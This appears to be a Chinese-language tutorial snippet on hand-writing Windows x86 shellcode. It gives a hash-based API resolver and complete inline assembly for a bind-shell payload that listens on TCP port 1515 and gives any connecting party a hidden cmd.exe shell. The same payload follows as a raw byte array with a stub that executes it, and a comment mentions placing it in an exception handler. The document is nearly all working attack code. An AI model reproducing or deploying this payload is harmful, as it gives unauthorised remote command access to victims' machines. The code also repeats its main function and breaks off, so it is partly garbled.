1.函数加密

//函数加密   摘要 (条件尽可能避免有0x00 尽可能避免发生碰撞)注意没有加.dll
int Hash_GetDigest(char * strFunName) {
	unsigned int nDigest = 0;
	while (*strFunName)
	{
		nDigest = ((nDigest << 25) | nDigest >> 7);
		nDigest = nDigest + *strFunName;
		strFunName++;
	}
	return nDigest;
}

先运行试试 成功 测试shellcode 正常(注意win下要手动去开户telnet服务) 把shellcode放入异常处就可以了

// ConsoleApplication2.cpp : 定义控制台应用程序的入口点。
//

#include "stdafx.h"
//函数加密摘要 (条件尽可能避免有0x00 尽可能避免发生碰撞)注意没有加.dll
int Hash_GetDigest(char * strFunName) {
	unsigned int nDigest = 0;
	while (*strFunName)
	{
		nDigest = ((nDigest << 25) | nDigest >> 7);
		nDigest = nDigest + *strFunName;
		strFunName++;
	}
	return nDigest;
}

int _tmain(int argc, _TCHAR* argv[])
{
	__asm
	{
		SUB ESP, 0x20      // 开辟一段栈空间,增加健壮性
		push ebp
		mov ebp, esp
		sub esp, 0x10
		JMP tag_Shellcode  // 前置代码,避免后面的数据被解释为指令
						   // [tag_Next-0x25] "cmd.exe\0"
	    _asm _emit(0x63)_asm _emit(0x6D)_asm _emit(0x64)_asm _emit(0x2E)
		_asm _emit(0x65)_asm _emit(0x78)_asm _emit(0x65)_asm _emit(0x00)
		// [tag_Next-0x1D] "ws2_32.dll\0"
		_asm _emit(0x77)_asm _emit(0x73)_asm _emit(0x32)_asm _emit(0x5F)
		_asm _emit(0x33)_asm _emit(0x32)_asm _emit(0x2E)_asm _emit(0x64)
		_asm _emit(0x6C)_asm _emit(0x6C)_asm _emit(0x00)
		// [tag_Next-0x12] "kernel32.dll\0"
		_asm _emit(0x6B)_asm _emit(0x65)_asm _emit(0x72)_asm _emit(0x6E)
		_asm _emit(0x65)_asm _emit(0x6C)_asm _emit(0x33)_asm _emit(0x32)
		_asm _emit(0x2E)_asm _emit(0x64)_asm _emit(0x6C)_asm _emit(0x6C)
		_asm _emit(0x00)
		tag_Shellcode:
					 // 1. GetPC
					 CALL tag_Next
						 tag_Next :
					 pop ebx                     // ebx     = BaseAddr
						 mov[ebp - 0x04], ebx          // Local_1 = Shellcode BaseAddr
													   // 2. 获取关键模块基址
						 mov esi, dword ptr fs : [0x30] // esi = PEB的地址
						 mov esi, [esi + 0x0C]          // esi = 指向PEB_LDR_DATA结构的指针
						 mov esi, [esi + 0x1C]          // esi = 模块链表指针InInit...List
						 mov esi, [esi]               // esi = 访问链表中的第二个条目
						 mov edx, [esi + 0x08]          // edx = 获取Kernel32.dll基址
														// 3. 获取LoadLibraryExA的函数地址
						 push edx                    // ImageBase   = Kernel32.dll
						 push 0xC0D83287             // nHashDigest = LoadLibraryExA Digest
						 call fun_GetFunAddrByHash   // fun_GetFunAddrByHash
						 mov edi, eax                 // edi = LoadLibraryExA
													  // 4. 加载Kernel32.dll,增强兼容新(Win7取得的是KernelBase.dll的基址)
						 lea esi, [ebx - 0x12]         // eax = "kernel32.dll\0"
						 push 0                      //  /-dwFlags       = 0
						 push 0                      //  |-hFile         = 0
						 push esi                    //  |-lpLibFileName = "kernel32.dll"
						 call edi                    // LoadLibraryExA()
						 mov[ebp - 0x08], eax          // Local_2 = Kernel32.dll基址
													   // 5. 加载ws2_32.dll,以方便后面的网络通信编程
						 lea esi, [ebx - 0x1D]         // eax = "ws2_32.dll\0"
						 push 0                      //  /-dwFlags       = 0
						 push 0                      //  |-hFile         = 0
						 push esi                    //  |-lpLibFileName = "ws2_32.dll"
						 call edi                    // LoadLibraryExA()
						 mov[ebp - 0x0C], eax          // Local_3 = ws2_32.dll基址
													   // 6. 调用Payload部分
						 push[ebp - 0x0C]             // ws2_32.dll基址
						 push[ebp - 0x08]             // Kernel32.dll基址
						 push[ebp - 0x04]             // BaseAddr
						 call fun_Payload
						 // 7. Payload执行完毕,结束程序,防止被调试分析
						 push[ebp - 0x08]           // ImageBase   = Param_2(Kernel32.dll)
						 push 0x4FD18963           // nHashDigest = ExitProcess Digest 
						 call fun_GetFunAddrByHash // fun_GetFunAddrByHash
						 push 0                    //  /-uExitCode = NULL
						 call eax                  // ExitProcess()
						 mov esp, ebp
						 pop ebp

						 /***********************************************************/
						 /* 函数:根据Hash值获取指定的函数地址,返回值为关键函数地址*/
						 /***********************************************************/
						 fun_GetFunAddrByHash : // (int nHashDigest, int ImageBase)
					 push ebp
						 mov ebp, esp
						 sub esp, 0x0C
						 push edx
						 // 1. 获取EAT、ENT与EOT的地址
						 mov edx, [ebp + 0x0C]  // edx     = Param_1(ImageBase)
						 mov esi, [edx + 0x3C]  // esi     = IMAGE_DOS_HEADER.e_lfanew
						 lea esi, [edx + esi]   // esi     = PE文件头
						 mov esi, [esi + 0x78]  // esi     = IMAGE_DIR...EXPORT.VirtualAddress
						 lea esi, [edx + esi]   // esi     = 导出表首地址
						 mov edi, [esi + 0x1C]  // esi     = IMAGE_EXP...ORY.AddressOfFunctions
						 lea edi, [edx + edi]   // edi     = EAT首地址
						 mov[ebp - 0x04], edi  // Local_1 = edi = EAT首地址
						 mov edi, [esi + 0x20]  // edi     = IMAGE_EXP...ORY.AddressOfNames
						 lea edi, [edx + edi]   // edi     = ENT首地址
						 mov[ebp - 0x08], edi  // Local_2 = edi = ENT首地址
						 mov edi, [esi + 0x24]  // edi     = IMAGE_EXP...ORY.AddressOfNameOrdinals
						 lea edi, [edx + edi]   // edi     = EOT首地址
						 mov[ebp - 0x0C], edi  // Local_3 = edi = EOT首地址
											   // 2. 循环对比ENT中的函数名
						 xor ecx, ecx
						 jmp tag_FirstCmp
						 tag_CmpFunNameLoop :
					 inc ecx
						 tag_FirstCmp :
					 mov esi, [ebp - 0x08]      // esi = Local_2(ENT)
						 mov esi, [esi + 4 * ecx]     // esi = ENT RVA
						 mov edx, [ebp + 0x0C]      // edx = Param_1(ImageBase)
						 lea esi, [edx + esi]       // esi = ENT VA
						 push[ebp + 0x08]         // nDigest    = Param_1(nHashDigest)
						 push esi                // strFunName = ENT VA
						 call fun_Hash_CmpString // fun_Hash_CmpString
						 test eax, eax
						 jz tag_CmpFunNameLoop  // 如果不相等则继续循环比对
												// 3. 成功后找到对应的序号
						 mov esi, [ebp - 0x0C]      // esi = Local_3(EOT)
						 xor edi, edi
						 mov di, [esi + ecx * 2]     // edi = 用函数名数组下标在序号数组找到对应序号
													 // 4. 使用序号作为索引,找到函数名所对应的函数地址
						 mov edx, [ebp - 0x04]      // edx = Local_1(EAT)
						 mov esi, [edx + edi * 4]     // esi = 用序号在函数地址数组找到对应的函数地址
						 mov edx, [ebp + 0x0C]      // edx = Param_1(ImageBase)
													// 5. 返回获取到的关键函数地址
						 lea eax, [edx + esi]       // 返回GetProcAddress的地址
						 pop edx
						 mov esp, ebp
						 pop ebp
						 retn 0x08

						 /***************************************************************/
						 /* 函数:根据摘要确认函数名,若函数名与此摘要相符返回1否则返回0*/
						 /***************************************************************/
						 fun_Hash_CmpString: //(char *strFunName, int nDigest)
					 push ebp
						 mov ebp, esp
						 sub esp, 0x04         // 开辟局部变量并清零
						 mov dword ptr[ebp - 0x04], 0x00
						 push ebx             // 保存用到的寄存器
						 push ecx
						 push edx
						 mov esi, [ebp + 0x08]  // esi = Param_1(strFunName)
						 xor ecx, ecx
						 xor eax, eax
						 tag_HashLoop :
					 mov al, [esi + ecx]    // al = 字符串的第ECX个字符
						 test al, al           // 判断是否为0,为0结束循环
						 jz tag_HashEnd
						 mov ebx, [ebp - 0x04]  // ebx = Local_1(摘要)
						 shl ebx, 0x19         // ebx = 摘要<<0x19(25)
						 mov edx, [ebp - 0x04]  // edx = Local_1(摘要)
						 shr edx, 0x07         // edx = 摘要>>0x07(07)
						 or ebx, edx          // edx = ebx|edx
						 add ebx, eax         // edx = edx + 字符的ASCII
						 mov[ebp - 0x04], ebx
						 inc ecx              // ecx++
						 jmp tag_HashLoop
						 tag_HashEnd :
					 mov ebx, [ebp + 0x0C]  // ebx = Param_2(nDigest)
						 mov edx, [ebp - 0x04]  // edx = Local_1(摘要)
						 xor eax, eax
						 cmp ebx, edx
						 jne tag_FunEnd
						 mov eax, 1
						 tag_FunEnd:
					 pop edx
						 pop ecx
						 pop ebx
						 mov esp, ebp
						 pop ebp
						 retn 0x08

						 /**********************************/
						 /* 函数:有效载荷部分,返回值Null */
						 /**********************************/
						 fun_Payload: //  (int BaseAddr, int Kernel32_Base, int ws2_32_Base)
					 push ebp
						 mov ebp, esp
						 sub esp, 0x300
						 // 1. 初始化Winsock服务
						 push[ebp + 0x10]           // ImageBase   = Param_3(ws2_32.dll)
						 push 0x80B46A3D           // nHashDigest = WSAStartup Digest
						 call fun_GetFunAddrByHash // fun_GetFunAddrByHash
						 lea  esi, [ebp - 0x300]      // esi = WSADATA
						 push esi                  //  /-lpWSAData         = WSADATA
						 push 0x0202               //  |-wVersionRequested = 2.2
						 call eax                  // WSAStartup()
						 test eax, eax
						 jnz tag_PaloadEnd
						 // 2. 创建一个原始套接字
						 push[ebp + 0x10]           // ImageBase   = Param_3(ws2_32.dll)
						 push 0xDE78322D           // nHashDigest = WSASocketA Digest 
						 call fun_GetFunAddrByHash // fun_GetFunAddrByHash
						 push 0                    //  /-dwFlags        = NULL
						 push 0                    //  |-g              = NULL
						 push 0                    //  |-lpProtocolInfo = NULL
						 push 6                    //  |-protocol       = IPPROTO_TCP
						 push 1                    //  |-type           = SOCK_STREAM
						 push 2                    //  |-af             = AF_INET
						 call eax                  // WSASocketA()
						 mov[ebp - 0x04], eax        // Local_1 = SOCKET
													 // 3. 在任意地址(INADDR_ANY)上绑定一个端口1515[0x05BE-->0xBE05]
						 push[ebp + 0x10]           // ImageBase   = Param_3(ws2_32.dll)
						 push 0xDDA71064           // nHashDigest = bind Digest 
						 call fun_GetFunAddrByHash // fun_GetFunAddrByHash
						 mov word ptr[ebp - 0x200], 0x02   // / SOCKADDR_IN.sin_family = AF_INET
						 mov word ptr[ebp - 0x1FE], 0xEB05 // | SOCKADDR_IN.sin_port   = 0xEB05(1515)
						 mov dword ptr[ebp - 0x1FC], 0     // \ SOCKADDR_IN.sin_addr   = INADDR_ANY       
						 lea esi, [ebp - 0x200]       // esi = SOCKADDR_IN
						 push 0x14                 //  /-namelen = 0x14
						 push esi                  //  |-name    = SOCKADDR_IN
						 push[ebp - 0x04]           //  |-s       = Local_1(SOCKET)
						 call eax                  // bind()
						 test eax, eax
						 jnz tag_PaloadEnd
						 // 4. 监听申请的连接,队列中可容纳5个链接
						 push[ebp + 0x10]           // ImageBase   = Param_3(ws2_32.dll)
						 push 0x4BD39F0C           // nHashDigest = listen Digest 
						 call fun_GetFunAddrByHash // fun_GetFunAddrByHash
						 push 0x7FFFFFFF           //  /-backlog = SOMAXCONN
						 push[ebp - 0x04]           //  |-s       = Local_1(SOCKET)
						 call eax                  // listen()
						 test eax, eax
						 jnz tag_PaloadEnd
						 // 5. 接受一个连接
						 push[ebp + 0x10]           // ImageBase   = Param_3(ws2_32.dll)
						 push 0x01971EB1           // nHashDigest = accept Digest 
						 call fun_GetFunAddrByHash // fun_GetFunAddrByHash
						 push 0                    //  /-addrlen = NULL
						 push 0                    //  |-addr    = NULL
						 push[ebp - 0x04]           //  |-s       = Local_1(SOCKET)
						 call eax                  // accept()
						 mov[ebp - 0x04], eax       // Local_1(SOCKET) = SOCKET
													// 6. 创建一个CMD进程,并将其输入与输出重定位到我们创建的套接字上
						 push[ebp + 0x0C]           // ImageBase   = Param_2(Kernel32.dll)
						 push 0x6BA6BCC9           // nHashDigest = CreateProcessA Digest 
						 call fun_GetFunAddrByHash // fun_GetFunAddrByHash
						 mov edx, eax               // edx = CreateProcessA
						 lea edi, [ebp - 0x90]        // / 清空STARTUPINFOA
						 mov ecx, 0x11              // |     STARTUPINFOA
						 mov eax, 0x00              // |     从[ebp-0x90]开始
						 cld                       // |     到[ebp-0x48]结束
						 rep stosd                 // |
						 mov dword ptr[ebp - 0x90], 0x00000044 // | STA...A.cb      = 48
						 mov dword ptr[ebp - 0x64], 0x00000100 // | STA...A.dwFlags = STARTF_USESTDHANDLES
						 mov word ptr[ebp - 0x60], 0x0000      // | STA...A.wShowWindow = SW_HIDE
						 mov esi, [ebp - 0x04]                // esi                   = Local_1(SOCKET)
						 mov dword ptr[ebp - 0x58], esi        // | STA...A.hStdInput   = SOCKET
						 mov dword ptr[ebp - 0x54], esi        // | STA...A.hStdOutput  = SOCKET
						 mov dword ptr[ebp - 0x50], esi        // \ STA...A.hStdError   = SOCKET
						 lea esi, [ebp - 0x90]        // esi = STARTUPINFOA
						 lea edi, [ebp - 0x200]       // edi = PROCESS_INFORMATION 
						 mov ebx, [ebp + 0x08]        // ebx = Param_1(BaseAddr)
						 lea ebx, [ebx - 0x25]        // ebx = "cmd.exe\0"
						 push edi                  //  /-lpProcessInformation = PROCESS_INFORMATION
						 push esi                  //  |-lpStartupInfo        = STARTUPINFOA
						 push 0                    //  |-lpCurrentDirectory   = NULL
						 push 0                    //  |-lpEnvironment        = NULL
						 push 0                    //  |-dwCreationFlags      = NULL
						 push 1                    //  |-bInheritHandles      = TRUE
						 push 0                    //  |-lpThreadAttributes   = NULL
						 push 0                    //  |-lpProcessAttributes  = NULL
						 push ebx                  //  |-lpCommandLine        = "cmd.exe\0"
						 push 0                    //  |-lpApplicationName    = NULL
						 call edx                  // CreateProcessA()
						 tag_PaloadEnd :
					 mov esp, ebp
						 pop ebp
						 retn 0x0C
	}

	return 0;
}
int _tmain(int argc, _TCHAR* argv[])
{
	char bShellcode[] = { "\x83\xEC\x20\x55\x8B\xEC\x83\xEC\x10\xEB\x20\x63\x6D\x64\x2E\x65\x78\x65\x00\x77\x73\x32\x5F\x33\x32\x2E\x64\x6C\x6C\x00\x6B\x65\x72\x6E\x65\x6C\x33\x32\x2E\x64\x6C\x6C\x00\xE8\x00\x00\x00\x00\x5B\x89\x5D\xFC\x64\x8B\x35\x30\x00\x00\x00\x8B\x76\x0C\x8B\x76\x1C\x8B\x36\x8B\x56\x08\x52\x68\x87\x32\xD8\xC0\xE8\x3E\x00\x00\x00\x8B\xF8\x8D\x73\xEE\x6A\x00\x6A\x00\x56\xFF\xD7\x89\x45\xF8\x8D\x73\xE3\x6A\x00\x6A\x00\x56\xFF\xD7\x89\x45\xF4\xFF\x75\xF4\xFF\x75\xF8\xFF\x75\xFC\xE8\xCD\x00\x00\x00\xFF\x75\xF8\x68\x63\x89\xD1\x4F\xE8\x07\x00\x00\x00\x6A\x00\xFF\xD0\x8B\xE5\x5D\x55\x8B\xEC\x83\xEC\x0C\x52\x8B\x55\x0C\x8B\x72\x3C\x8D\x34\x32\x8B\x76\x78\x8D\x34\x32\x8B\x7E\x1C\x8D\x3C\x3A\x89\x7D\xFC\x8B\x7E\x20\x8D\x3C\x3A\x89\x7D\xF8\x8B\x7E\x24\x8D\x3C\x3A\x89\x7D\xF4\x33\xC9\xEB\x01\x41\x8B\x75\xF8\x8B\x34\x8E\x8B\x55\x0C\x8D\x34\x32\xFF\x75\x08\x56\xE8\x20\x00\x00\x00\x85\xC0\x74\xE6\x8B\x75\xF4\x33\xFF\x66\x8B\x3C\x4E\x8B\x55\xFC\x8B\x34\xBA\x8B\x55\x0C\x8D\x04\x32\x5A\x8B\xE5\x5D\xC2\x08\x00\x55\x8B\xEC\x83\xEC\x04\xC7\x45\xFC\x00\x00\x00\x00\x53\x51\x52\x8B\x75\x08\x33\xC9\x33\xC0\x8A\x04\x0E\x84\xC0\x74\x16\x8B\x5D\xFC\xC1\xE3\x19\x8B\x55\xFC\xC1\xEA\x07\x0B\xDA\x03\xD8\x89\x5D\xFC\x41\xEB\xE3\x8B\x5D\x0C\x8B\x55\xFC\x33\xC0\x3B\xDA\x75\x05\xB8\x01\x00\x00\x00\x5A\x59\x5B\x8B\xE5\x5D\xC2\x08\x00\x55\x8B\xEC\x81\xEC\x00\x03\x00\x00\xFF\x75\x10\x68\x3D\x6A\xB4\x80\xE8\x31\xFF\xFF\xFF\x8D\xB5\x00\xFD\xFF\xFF\x56\x68\x02\x02\x00\x00\xFF\xD0\x85\xC0\x0F\x85\xFF\x00\x00\x00\xFF\x75\x10\x68\x2D\x32\x78\xDE\xE8\x0E\xFF\xFF\xFF\x6A\x00\x6A\x00\x6A\x00\x6A\x06\x6A\x01\x6A\x02\xFF\xD0\x89\x45\xFC\xFF\x75\x10\x68\x64\x10\xA7\xDD\xE8\xF0\xFE\xFF\xFF\x66\xC7\x85\x00\xFE\xFF\xFF\x02\x00\x66\xC7\x85\x02\xFE\xFF\xFF\x05\xEB\xC7\x85\x04\xFE\xFF\xFF\x00\x00\x00\x00\x8D\xB5\x00\xFE\xFF\xFF\x6A\x14\x56\xFF\x75\xFC\xFF\xD0\x85\xC0\x0F\x85\xA2\x00\x00\x00\xFF\x75\x10\x68\x0C\x9F\xD3\x4B\xE8\xB1\xFE\xFF\xFF\x68\xFF\xFF\xFF\x7F\xFF\x75\xFC\xFF\xD0\x85\xC0\x0F\x85\x83\x00\x00\x00\xFF\x75\x10\x68\xB1\x1E\x97\x01\xE8\x92\xFE\xFF\xFF\x6A\x00\x6A\x00\xFF\x75\xFC\xFF\xD0\x89\x45\xFC\xFF\x75\x0C\x68\xC9\xBC\xA6\x6B\xE8\x79\xFE\xFF\xFF\x8B\xD0\x8D\xBD\x70\xFF\xFF\xFF\xB9\x11\x00\x00\x00\xB8\x00\x00\x00\x00\xFC\xF3\xAB\xC7\x85\x70\xFF\xFF\xFF\x44\x00\x00\x00\xC7\x45\x9C\x00\x01\x00\x00\x66\xC7\x45\xA0\x00\x00\x8B\x75\xFC\x89\x75\xA8\x89\x75\xAC\x89\x75\xB0\x8D\xB5\x70\xFF\xFF\xFF\x8D\xBD\x00\xFE\xFF\xFF\x8B\x5D\x08\x8D\x5B\xDB\x57\x56\x6A\x00\x6A\x00\x6A\x00\x6A\x01\x6A\x00\x6A\x00\x53\x6A\x00\xFF\xD2\x8B\xE5\x5D\xC2\x0C\x00" };

		__asm {
		lea eax, bShellcode;
		push eax;
		ret
	}